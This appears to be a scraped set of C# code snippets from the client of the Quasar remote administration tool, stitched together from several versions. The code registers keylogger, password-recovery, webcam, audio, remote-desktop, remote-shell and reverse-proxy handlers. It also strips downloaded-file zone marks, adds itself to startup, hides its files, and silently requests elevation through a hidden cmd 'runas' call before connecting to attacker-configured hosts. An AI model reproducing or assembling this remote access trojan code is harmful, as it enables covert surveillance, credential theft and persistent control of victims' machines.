/// <summary>
        /// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
        /// </summary>
        /// <param name="client">The client which handles the connection.</param>
        /// <remarks>Always initialize from UI thread.</remarks>
        private void InitializeMessageProcessors(QuasarClient client)
        {
            _messageProcessors.Add(new ClientServicesHandler(this, client));
            _messageProcessors.Add(new FileManagerHandler(client));
            _messageProcessors.Add(new KeyloggerHandler());
            _messageProcessors.Add(new MessageBoxHandler());
            _messageProcessors.Add(new PasswordRecoveryHandler());
            _messageProcessors.Add(new RegistryHandler());
            _messageProcessors.Add(new RemoteDesktopHandler());
            _messageProcessors.Add(new WebcamHandler());
            _messageProcessors.Add(new AudioHandler());
            _messageProcessors.Add(new RemoteShellHandler(client));
            _messageProcessors.Add(new ReverseProxyHandler(client));
            _messageProcessors.Add(new ShutdownHandler());
            _messageProcessors.Add(new StartupManagerHandler());
            _messageProcessors.Add(new SystemInformationHandler());
            _messageProcessors.Add(new TaskManagerHandler(client));
            _messageProcessors.Add(new TcpConnectionsHandler());
            _messageProcessors.Add(new WebsiteVisitorHandler());

            foreach (var msgProc in _messageProcessors)
            {
                MessageHandler.Register(msgProc);
                if (msgProc is NotificationMessageProcessor notifyMsgProc)
                {
                    notifyMsgProc.ProgressChanged += ShowNotification;
                }
            }
        }
 /// <summary>
 /// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
 /// </summary>
 /// <param name="client">The name of the mutex.</param>
 public ActivityDetection(QuasarClient client)
 {
     _client             = client;
     _tokenSource        = new CancellationTokenSource();
     _token              = _tokenSource.Token;
     client.ClientState += OnClientStateChange;
 }
Ejemplo n.º 3
0
 public FileManagerHandler(QuasarClient client)
 {
     _client              = client;
     _client.ClientState += OnClientStateChange;
     _tokenSource         = new CancellationTokenSource();
     _token = _tokenSource.Token;
 }
Ejemplo n.º 4
0
 public TaskManagerHandler(QuasarClient client)
 {
     _client              = client;
     _client.ClientState += OnClientStateChange;
     _webClient           = new WebClient {
         Proxy = null
     };
     _webClient.DownloadFileCompleted += OnDownloadFileCompleted;
 }
        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
            {
                Application.Exit();
            }

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
            {
                Application.Exit();
            }

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                    Application.Exit();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (!Settings.UNATTENDEDMODE)
                {
                    InitializeNotifyicon();
                }

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                _connectClient              = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                _connectClient.ClientState += ConnectClientOnClientState;
                InitializeMessageProcessors(_connectClient);

                _userActivityDetection = new ActivityDetection(_connectClient);
                _userActivityDetection.Start();

                new Thread(() =>
                {
                    // Start connection loop on new thread and dispose application once client exits.
                    // This is required to keep the UI thread responsive and run the message loop.
                    _connectClient.ConnectLoop();
                    Application.Exit();
                }).Start();
            }
        }
Ejemplo n.º 6
0
 /// <summary>
 /// Initializes a new instance of the <see cref="Shell"/> class using a given client.
 /// </summary>
 /// <param name="client">The client to send shell responses to.</param>
 public Shell(QuasarClient client)
 {
     _client = client;
 }
Ejemplo n.º 7
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            Aes128.SetDefaultKey(Settings.KEY, Settings.AUTHKEY);
            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts);
                return(true);
            }
            else
            {
                MutexHelper.CloseMutex();
                ClientInstaller.Install(ConnectClient);
                return(false);
            }
        }
 /// <summary>
 /// Initializes a new instance of the <see cref="RemoteShellHandler"/> class using the given client.
 /// </summary>
 /// <param name="client">The associated client.</param>
 public RemoteShellHandler(QuasarClient client)
 {
     _client              = client;
     _client.ClientState += OnClientStateChange;
 }
Ejemplo n.º 9
0
 public ClientServicesHandler(QuasarApplication application, QuasarClient client)
 {
     _application = application;
     _client      = client;
 }
Ejemplo n.º 10
0
 public ReverseProxyHandler(QuasarClient client)
 {
     _client = client;
 }
Ejemplo n.º 11
0
        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
            {
                return;
            }

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                InitializeMessageProcessors(ConnectClient);

                _userActivityDetection = new ActivityDetection(ConnectClient);
                _userActivityDetection.Start();

                ConnectClient.ConnectLoop();
            }
        }
Ejemplo n.º 12
0
        private static bool Initialize()
        {
            var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));

            // process with same mutex is already running
            if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
            {
                return(false);
            }

            ClientData.InstallPath = Path.Combine(Settings.DIRECTORY, ((!string.IsNullOrEmpty(Settings.SUBDIRECTORY)) ? Settings.SUBDIRECTORY + @"\" : "") + Settings.INSTALLNAME);
            GeoLocationHelper.Initialize();

            // Request elevation
            if (Settings.REQUESTELEVATIONONEXECUTION && WindowsAccountHelper.GetAccountType() != "Admin")
            {
                ProcessStartInfo processStartInfo = new ProcessStartInfo
                {
                    FileName        = "cmd",
                    Verb            = "runas",
                    Arguments       = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true
                };

                MutexHelper.CloseMutex();  // close the mutex so our new process will run
                bool success = true;
                try
                {
                    Process.Start(processStartInfo);
                }
                catch
                {
                    success = false;
                    MutexHelper.CreateMutex(Settings.MUTEX);  // re-grab the mutex
                }

                if (success)
                {
                    ConnectClient.Exit();
                }
            }

            FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);

            if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
            {
                WindowsAccountHelper.StartUserIdleCheckThread();

                if (Settings.STARTUP)
                {
                    if (!Startup.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }

                if (Settings.INSTALL && Settings.HIDEFILE)
                {
                    try
                    {
                        File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.InstallPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (Settings.ENABLELOGGER)
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                return(true);
            }

            MutexHelper.CloseMutex();
            ClientInstaller.Install(ConnectClient);
            return(false);
        }